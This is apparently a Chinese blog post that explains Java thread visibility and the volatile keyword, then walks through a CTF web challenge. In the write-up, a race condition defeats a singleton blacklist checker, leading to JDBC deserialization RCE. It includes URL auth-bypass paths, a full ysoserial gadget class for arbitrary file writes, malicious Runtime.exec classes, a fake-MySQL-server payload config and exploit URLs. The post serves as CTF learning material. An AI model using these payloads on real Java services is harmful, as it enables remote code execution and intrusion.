Java 线程导致的安全问题
date
Jun 13, 2022
slug
java-thread-security
status
Published
tags
Java安全
安全研究
summary
又是填坑学习的一天
type
Post
线程的简单使用
简单看一个demo:
public class Main {
public static void main(String[] args) {
System.out.println("main start...");
Thread t = new Thread() {
public void run() {
System.out.println("thread run...");
System.out.println("thread end.");
}
};
t.start();
System.out.println("main end...");
}
}
这段代码从
Thread
派生一个自定义类,然后覆写run()
方法,通过start()
方法会在内部自动调用实例的run()
方法,注意这里不能直接调用run方法,直接调用Thread
实例的run()
方法是无效的,原因如下:另外这段代码值得注意的是
main end,thread run,thread end
打印的时间都无法确定,因为从t
线程开始运行以后,两个线程就开始同时运行了,并且由操作系统调度,程序本身无法确定线程的调度顺序。如果需要限定某一个线程运行时间,可以使用
Thread.sleep(20);
去进行限定,比如在主线程里面停一段时间,可以将代码内容改成这样:public class Main {
public static void main(String[] args) {
System.out.println("main start...");
Thread t = new Thread() {
public void run() {
System.out.println("thread run...");
System.out.println("thread end.");
}
};
t.start();
try {
Thread.sleep(20);
} catch (InterruptedException e) {}
System.out.println("main end...");
}
}
就可以保证main线程最后才执行
volatile 关键字
主要有几个知识点:
- JMM(Java Memory Model),Java 内存模型的特性:
易导致线程对共享变量的修改没有即时更新到主内存,或者线程没能够即时将共享变量的最新值同步到工作内存中,从而使得线程在使用共享变量的值时,该值并不是最新的。
- 为了解决上述问题引入加锁(synchronizer) 和 使用 volatile 关键字:
主要是volatile这个关键字,这个关键字保证了不同线程对共享变量操作的可见性,也就是说一个线程修改了 volatile 修饰的变量,当修改后的变量写回主内存时,其他线程能立即看到最新值
- volatile 关键字存在原子性问题:
多线程环境下,使用 volatile 修饰的变量是线程不安全的,特别在一些单例模式下,需要加上锁操作
例题
有大哥直接弄了docker,直接拉一个就好:
docker pull turkeys/non_rce:latest
代码分析
整个代码都使用Servlet 3.0注解写的,使用的内嵌的Tomcat进行启动,那么关键逻辑就是看看servlet和filter,servlet主要关注的是
AdminServlet.java
,很明显的想考察JDBC反序列化的点,但是可控点中间经过一些检测再来看看filter,主要是两个文件,一个是AntiUrlAttackFilter.java另外一个是LoginFilter.java,分别对
/*
和 /admin/*
下的路由进行了检测,但是在LoginFilter.java是并不清楚相关的密码的,但是我们又需要进入到/admin/*
这个路由下,所以这题目目标很清楚,绕过限制进入admin后台→绕过JDBC限制→触发JDBC反序列化权限绕过
因为LoginFilter.java做了相关的限制,但是还剩下另外一个filter可以操控,AntiUrlAttackFilter.java这个文件是对
/*
所有路由进行一个处理的,但是在他的主逻辑里面却存在直接转发forward的操作,而且用的还是req.getRequestURI()
进行操作,这个函数在一些权限绕过场景经常出现了,给了绕过一个很好的机会所以针对这一点,有两种路由可以绕过:
/;admin/importData
/admin.//importData
JDBC关键字绕过
到了admin那个页面的功能就开始操作JDBC反序列化的操作了,但这里面存在黑名单检测,不允许使用
"%"
,
"autoDeserialize"
又因为JDBC反序列化又必须要有
autoDeserialize
这个关键字才能触发,那怎么样才能绕过呢,没错就是上面提及到线程的安全问题了,因为这里的关键字检测是一个单例模式这里的
getBlackListChecker()
函数纯粹就是new一个对象,然后把检查的内容设置到了toBeChecked
这个变量,注意这个变量是被volatile
关键字修饰的,这里就存在问题了,这里实例化是单例模式,但是使用了volatile
变量修饰,在Tomcat这种多线程场景中就会导致条件竞争的问题所以在doCheck函数执行之前,把setToBeChecked的内容给修改掉了,这就成功绕过了,需要整一个正常的JDBC的URL(
jdbc:mysql://127.0.0.1:3306/test?user=root
),一个不是正常的去多线程跑一下利用链构造
这个代码里面存在
aspectjweaver
的依赖,但是这个链条是需要Commons-Collections
的,这个题目并没有给出来,所以需要自行寻找一个刚好这代码里面存在其他的类,所以这个题目就拿来做中转了,可以观察一下原生的
aspectjweaver
链条是什么样子的,中间红色标注的内容就是Commons-Collections的内容现在需要的就是将这里面的内容替换一下,可以看到第一步是调用了hashCode方法,然后搜索全局的代码内容,在checker.DataMap.Entry#hashCode找到相关的函数
这个函数跟
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
十分相似,逐渐往下跟就会看到checker.DataMap#get
这个处理方法面,这里面存在一个put的方法,只要把这个this.values
变量变成SimpleCache$StorableCachingMap
这个对象就可以完美融入aspectjweaver
这条链条了大哥们也总结的很清楚了,盗个图:
配合YSO改造一下就出来新的链条了:
package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import checker.DataMap;
/*
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar NonRce "ahi.txt;YWhpaGloaQ=="
More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })
public class NonRce implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
HashMap wrapperMap = new HashMap();
wrapperMap.put(filename,content);
DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache);
Constructor dataMapEntryConstructor = Reflections.getFirstCtor("checker.DataMap$Entry");
Reflections.setAccessible(dataMapEntryConstructor);
Object dataMapEntry = dataMapEntryConstructor.newInstance(dataMap,filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, dataMapEntry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
PayloadRunner.run(AspectJWeaver.class, args);
}
}
打包好:
mvn clean package -DskipTests
,测试一下环境能否触发RCE 触发
因为这个东西最后触发的只是写文件的操作,所以达到RCE的效果还需要继续操作
先配合MysqlFakeServer 这个工具,构造对应的payload,改造一下config配置,配上咋们刚刚打包好的YSO
方法一:
通过
statementInterceptors
参数触发写入的恶意类Evil.class
的文件内容:
package servlet;
import java.io.IOException;
import java.io.Serializable;
public class Evil implements Serializable {
public Evil() {
}
static {
try {
Runtime.getRuntime().exec("open -a calculator.app");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
faker server config配置文件里面的内容
{
"config":{
"ysoserialPath":"ysoserial-0.0.6-SNAPSHOT-all.jar",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php",
"ssrf":"https://www.baidu.com/",
"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
},
"yso":{
"Jdk7u21":["Jdk7u21","calc"],
"URLDNS" : ["URLDNS", "http://mcm5.fuzz.red"],
"NonRce":["NonRce","./target/classes/servlet/Evil.clsss;yv66vgAAADQAJQoACQAUCgAVABYIABcKABUAGAcAGQcAGgoABgAbBwAcBwAdBwAeAQAGPGluaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ%2bAQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAHwwAIAAhAQAWb3BlbiAtYSBjYWxjdWxhdG9yLmFwcAwAIgAjAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAALACQBAAxzZXJ2bGV0L0V2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAEACgAAAAIAAQALAAwAAQANAAAAHQABAAEAAAAFKrcAAbEAAAABAA4AAAAGAAEAAAAGAAgADwAMAAEADQAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7%2bxAAEAAAAJAAwABQACAA4AAAAWAAUAAAAJAAkADAAMAAoADQALABYADQAQAAAABwACTAcAEQkAAQASAAAAAgAT"]
}
}
开启fake server , 然后打下面的URL过去,此时已经能成功写入内容了:
/admin.//importData?databaseType=mysql&jdbcUrl=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true%26user=NonRce%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
然后再通过JDBC_URL可控点
statementInterceptors
去触发,注意这里类名一定是全路径的/admin.//importData?databaseType=mysql&jdbcUrl=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true%26user=NonRce%26password=root%26statementInterceptors=servlet.Evil
可以触发的原因如下图,因为这个参数会触发Class.forName,所以会加载静态代码模块
方法二:
通过构造一个存在readObject函数的类,然后通过反序列化的方式触发该类的readObject函数这是由JDBC反序列化的流程决定的,怎么个操作法呢?
先构造一个恶意类,readObject函数里面存在恶意操作:
package servlet;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Evil implements Serializable {
public Evil() {
}
private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
out.defaultReadObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("open -a calculator.app");
}
}
编译好写入,修改faker server的config里面对应内容,操作,此时就可以写入我们构造好的类了
/admin.//importData?databaseType=mysql&jdbcUrl=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true%26user=NonRce%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
怎么触发?需要再发一遍这个类的序列化流,这个要怎么操作呢?先生成一个对象流:
public static void main(String[] args) throws Exception {
Evil o = new Evil();
FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
}
然后修改一下faker server里面的server.py这个函数内容,直接返回我们自己生成对象的内容,此时凡是跟yso操作相关的内容,都只会返回我们自己编译好的类内容,当然也可以选择其他地方代码进行修改操作
重新监听端口发送一样的URL链接即可触发成功
/admin.//importData?databaseType=mysql&jdbcUrl=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true%26user=NonRce%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
方法三:
跟方法一有异曲同工之妙,不过处理的流程不一样罢了,这个是实现了interceptor接口的恶意类,这个应该也是跟JDBC的触发流程相关的
package servlet;
import com.mysql.jdbc.Connection;
import com.mysql.jdbc.ResultSetInternalMethods;
import com.mysql.jdbc.Statement;
import com.mysql.jdbc.StatementInterceptor;
import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;
public class antInterceptor implements StatementInterceptor{
@Override
public void init(Connection connection, Properties properties) throws SQLException {
}
@Override
public ResultSetInternalMethods preProcess(String s, Statement statement, Connection connection) throws SQLException {
return null;
}
@Override
public ResultSetInternalMethods postProcess(String s, Statement statement, ResultSetInternalMethods resultSetInternalMethods, Connection connection) throws SQLException {
try {
Runtime.getRuntime().exec("open -a calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
@Override
public boolean executeTopLevelOnly() {
return false;
}
@Override
public void destroy() {
}
}
写入这个类之后,触发的链接需要修改一下,需要改成这个样子就能够触发:
statementInterceptors=servlet.antInterceptor
调试过程中发现,它是利用了这个类实例化的对象里面,各个阶段的函数,所以如果想保证一下命令执行能够成功触发,其实可以在
init
,preProcess
,postProcess
等这几个函数里面都写上执行语句就行多线程触发
这里使用方法三RCE去跑一下流程,构造两个包
然后开始条件竞争一下,成功写入
再触发一下,命令执行,成功在tmp目录下新建success文件:
总结
- 单例模式在多线程环境下的危害
- JDBC反序列化写文件—>触发RCE的攻击链